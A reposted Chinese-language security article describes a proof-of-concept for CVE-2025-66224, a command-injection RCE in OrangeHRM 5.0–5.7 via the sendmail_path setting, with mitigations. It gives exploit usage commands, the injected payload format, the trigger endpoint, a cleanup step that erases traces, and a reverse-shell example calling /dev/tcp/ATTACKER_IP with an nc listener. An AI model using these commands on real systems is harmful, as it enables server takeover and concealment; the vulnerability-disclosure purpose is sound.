OrangeHRM远程代码执行漏洞–CVE-2025-66224

admin 2025-12-23 16:02:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文披露了OrangeHRM5.0至5.7版本的远程代码执行漏洞CVE-2025-66224,该漏洞源于sendmail_path参数缺乏过滤。攻击者可向MySQL数据库注入恶意载荷并通过API触发命令执行,进而控制服务器。文章提供了漏洞利用原理及缓解建议,强调需加强输入验证及及时修补系统。 综合评分: 75 文章分类: 漏洞分析,漏洞POC,漏洞预警,WEB安全,渗透测试


cover_image

OrangeHRM远程代码执行漏洞 – CVE-2025-66224

Ots安全

2025年12月22日 17:13 广东

威胁简报

恶意软件

漏洞攻击

📋 描述

此概念验证 (PoC) 演示了 OrangeHRM 中通过sendmail_path配置参数中的命令注入实现的远程代码执行 (RCE) 漏洞。

该漏洞利用原理如下:

  1. 将恶意载荷注入 MySQL 数据库(hs_hr_config表)
  2. 通过电子邮件配置 API 端点触发有效负载执行
  3. 自动恢复原始值以清除痕迹

🎯受影响版本

  • OrangeHRM 版本 5.0 至 5.7

⚠️免责声明

本工具仅供教育和授权安全测试用途。未经授权访问计算机系统属于违法行为。对于因使用本工具而造成的任何误用或损害,作者概不负责。

🔧 要求

pip install requests mysql-connector-python

📦 安装

git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt

🚀 用法

步骤 1:获取会话 Cookie

  • 通过网页界面登录 OrangeHRM
  • 打开浏览器开发者工具(F12)
  • 依次点击“存储” > “Cookie”(Firefox)或“应用程序” > “Cookie”(Chrome)
  • 复制_orangehrmcookie 值

步骤 2:运行漏洞利用程序

python3&nbsp;exploit.py&nbsp;-t&nbsp;<TARGET_URL>&nbsp;-c<COOKIE_VALUE>&nbsp;\
&nbsp; &nbsp; -dh&nbsp;<MYSQL_HOST>&nbsp;-du&nbsp;<MYSQL_USER>&nbsp;-dp<MYSQL_PASSWORD>&nbsp;\
&nbsp; &nbsp; -cmd&nbsp;'<COMMAND_TO_EXECUTE>'

示例 – 简单命令

python3&nbsp;exploit.py&nbsp;-t http://127.0.0.1:8080/ \
&nbsp; &nbsp; -c"g58tak8pbnheseatv6dggvi31i"&nbsp;\
&nbsp; &nbsp; -dh&nbsp;172.18.0.2&nbsp;\
&nbsp; &nbsp; -du orange_user \
&nbsp; &nbsp; -dp&nbsp;orange_password \
&nbsp; &nbsp; -cmd&nbsp;"touch /tmp/pwned"

示例 – 反向shell

# Start listener&nbsp;on&nbsp;attacker machine
nc -lvnp&nbsp;4444

# Execute exploit with&nbsp;reverseshell&nbsp;payload
python3&nbsp;exploit.py&nbsp;-t http://target.com/ \
&nbsp; &nbsp; -c"your_session_cookie"&nbsp;\
&nbsp; &nbsp; -dh&nbsp;172.18.0.2&nbsp;\
&nbsp; &nbsp; -du orange_user \
&nbsp; &nbsp; -dp&nbsp;orange_password \
&nbsp; &nbsp; -cmd&nbsp;'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'

🔍工作原理

漏洞详情

该漏洞存在于电子邮件配置功能中,sendmail_path参数存储在数据库中,之后未经适当清理就被执行。

开发流程:

1. Authenticate to OrangeHRM (obtain valid session cookie)
&nbsp; &nbsp;↓
2. Connect to MySQL database
&nbsp; &nbsp;↓
3. Locate hs_hr_config table
&nbsp; &nbsp;↓
4.&nbsp;Update&nbsp;email_config.sendmail_path&nbsp;value:
&nbsp; &nbsp;FROM: /usr/sbin/sendmail -bs
&nbsp; &nbsp;TO: /usr/sbin/sendmail -bs && <PAYLOAD> #
&nbsp; &nbsp;↓
5.Trigger&nbsp;execution via API:
&nbsp; &nbsp;PUT /web/index.php/api/v2/admin/email-configuration
&nbsp; &nbsp;↓
6.&nbsp;Command executes&nbsp;onserver
&nbsp; &nbsp;↓
7.Restore&nbsp;original&nbsp;value&nbsp;(cleanup)

技术细节

易受攻击的参数: email_config.sendmail_path

数据库:

  • Table:hs_hr_config
  • Column:name=’email_config.sendmail_path’
  • Column:value= sendmail 命令路径

触发端点:

PUT /web/index.php/api/v2/admin/email-configuration

🛡️ 缓解措施

  1. 输入验证:sendmail_path对参数实施严格验证
  2. 转义:在执行 shell 命令之前正确转义命令。
  3. 最小权限原则:以最小权限运行 Web 服务器
  4. 更新:请为 OrangeHRM 应用最新的安全补丁

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《OrangeHRM远程代码执行漏洞 – CVE-2025-66224》

评论:0   参与:  3